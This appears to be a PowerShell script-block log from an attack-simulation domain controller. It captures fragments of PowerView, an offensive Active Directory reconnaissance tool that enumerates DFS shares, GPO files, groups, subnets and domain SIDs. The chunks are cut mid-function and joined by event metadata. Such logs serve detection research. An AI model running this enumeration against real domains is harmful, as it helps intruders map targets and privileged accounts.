error in parsing DFS share : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" } } $DFSSearcher.dispose() if ($pkt -and $pkt[0]) { Parse-Pkt $pkt[0] | ForEach-Object { # If a folder doesn't have a redirection it will have a target like # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match # on 'null' rather than $Null if ($_ -ne 'null') { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} } } } } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } function Get-DomainDFSShareV2 { [CmdletBinding()] Param( [String] $Domain, [String] $SearchBase, [String] $Server, [String] $SearchScope = 'Subtree', [Int] $ResultPageSize = 200, [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $DFSsearcher = Get-DomainSearcher @PSBoundParameters if ($DFSsearcher) { $DFSshares = @() $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) try { $Results = $DFSSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $target_list = $Properties.'msdfs-targetlistv2'[0] $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) $DFSshares += $xml.targets.ChildNodes | ForEach-Object { try { $Target = $_.InnerText if ( $Target.Contains('\') ) { $DFSroot = $Target.split('\')[3] $ShareName = $Properties.'msdfs-linkpathv2'[0] New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DFSSearcher.dispose() } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } } PROCESS { $DFSshares = @() if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } } else { if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique } } ######################################################## # # GPO related functions. # ######################################################## function Get-GptTmpl { <# .SYNOPSIS Helper to parse a GptTmpl.inf policy file path into a hashtable. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent .DESCRIPTION Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf is constructed and assumed to be the parse target. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GptTmplPath Specifies the GptTmpl.inf file path name to parse. .PARAMETER OutputObject Switch. Output a custom PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local .EXAMPLE Get-DomainGPO testing | Get-GptTmpl Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local using alternate credentials. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, [Switch] $OutputObject, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } $TargetGptTmplPath = $GptTmplPath if (-not $TargetGptTmplPath.EndsWith('.inf')) { $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' } Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" if ($PSBoundParameters['OutputObject']) { $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop if ($Contents) { $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath $Contents } } else { $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop if ($Contents) { $Contents['Path'] = $TargetGptTmplPath $Contents } } } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-GroupsXML { <# .SYNOPSIS Helper to parse a groups.xml file path into a custom object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION Parses a groups.xml into a custom object. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GroupsXMLpath Specifies the groups.xml file path name to parse. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .OUTPUTS PowerView.GroupsXML #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Path')] [String] $GroupsXMLPath, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid if (-not $GroupSID) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } else { if ($PSBoundParameters['Credential']) { $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential } else { $GroupSID = ConvertTo-SID -ObjectName $Groupname } } } # extract out members added to this group $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if ($_.sid) { $_.sid } else { $_.name } } if ($Members) { # extract out any/all filters...I hate you GPP if ($_.filters) { $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } else { $Filters = $Null } if ($Members -isnot [System.Array]) { $Members = @($Members) } $GroupsXML = New-Object PSObject $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath $GroupsXML | Add-Member Noteproperty 'Filters' $Filters $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') $GroupsXML } } } catch { Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-DomainGPO { <# .SYNOPSIS Return all GPOs or specific GPO objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ComputerIdentity Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). .PARAMETER UserIdentity Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGPO -Domain testlab.local Return all GPOs for the testlab.local domain .EXAMPLE Get-DomainGPO -ComputerName windows1.testlab.local Returns all GPOs applied windows1.testlab.local .EXAMPLE "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display name of "Test GPO" .EXAMPLE Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = Ne66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122621Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2044('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SiteSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SiteSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SiteSearcher = Get-DomainSearcher @SearcherArguments if (-not $SiteSearcher) { Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } else { $Results = $SiteSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Site = $_ } else { $Site = Convert-LDAPProperty -Properties $_.Properties } $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') $Site } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSite] Error disposing of the Results object" } } $SiteSearcher.dispose() } } } function Get-DomainSubnet { <# .SYNOPSIS Search for all subnets or specific subnets objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all subnet objects for the current domain are returned. .PARAMETER Identity An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER SiteName Only return subnets from the specified SiteName. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSubnet Returns the current subnets in the domain. .EXAMPLE Get-DomainSubnet *admin* -Domain testlab.local Returns all subnets with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all subnets with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSubnet -Credential $Cred .OUTPUTS PowerView.Subnet Custom PSObject with translated subnet property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Subnet')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $SiteName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SubnetSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SubnetSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SubnetSearcher = Get-DomainSearcher @SearcherArguments if (-not $SubnetSearcher) { Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } else { $Results = $SubnetSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Subnet = $_ } else { $Subnet = Convert-LDAPProperty -Properties $_.Properties } $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') if ($PSBoundParameters['SiteName']) { # have to do the filtering after the LDAP query as LDAP doesn't let you specify # wildcards for 'siteobject' :( if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { $Subnet } elseif ($Subnet.siteobject -like "*$SiteName*") { $Subnet } } else { $Subnet } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" } } $SubnetSearcher.dispose() } } } function Get-DomainSID { <# .SYNOPSIS Returns the SID for the current domain or the specified domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer .DESCRIPTION Returns the SID for the current domain or the specified domain by executing Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) to search for domain controllers through LDAP. The SID of the returned domain controller is then extracted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSID .EXAMPLE Get-DomainSID -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSID -Credential $Cred .OUTPUTS String A string representing the specified domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $SearcherArguments = @{ 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid if ($DCSID) { $DCSID.SubString(0, $DCSID.LastIndexOf('-')) } else { Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" } } function Get-DomainGroup { <# .SYNOPSIS Return all groups or specific group objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all group objects for the current domain are returned. To return the groups a specific user/group is a part of, use -MemberIdentity X to execute token groups enumeration. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER MemberIdentity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the user/group member to query for group membership. .PARAMETER AdminCount Switch. Return users with '(adminCount=1)' (meaning are/weree66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122614Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1344ter = "(&(samAccountType=805306369)$Filter)" Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } else { $Results = $CompSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Up = $True if ($PSBoundParameters['Ping']) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname } if ($Up) { if ($PSBoundParameters['Raw']) { # return raw result objects $Computer = $_ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { $Computer = Convert-LDAPProperty -Properties $_.Properties $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } $Computer } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } } $CompSearcher.dispose() } } } function Get-DomainObject { <# .SYNOPSIS Return all (or specified) domain objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainObject -Domain testlab.local Return all objects for the testlab.local domain .EXAMPLE 'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname distinguishedname ----------------- CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local CN=dfm,CN=Users,DC=testlab,DC=local OU=OU3,DC=testlab,DC=local CN=dfm (admin),CN=Users,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' 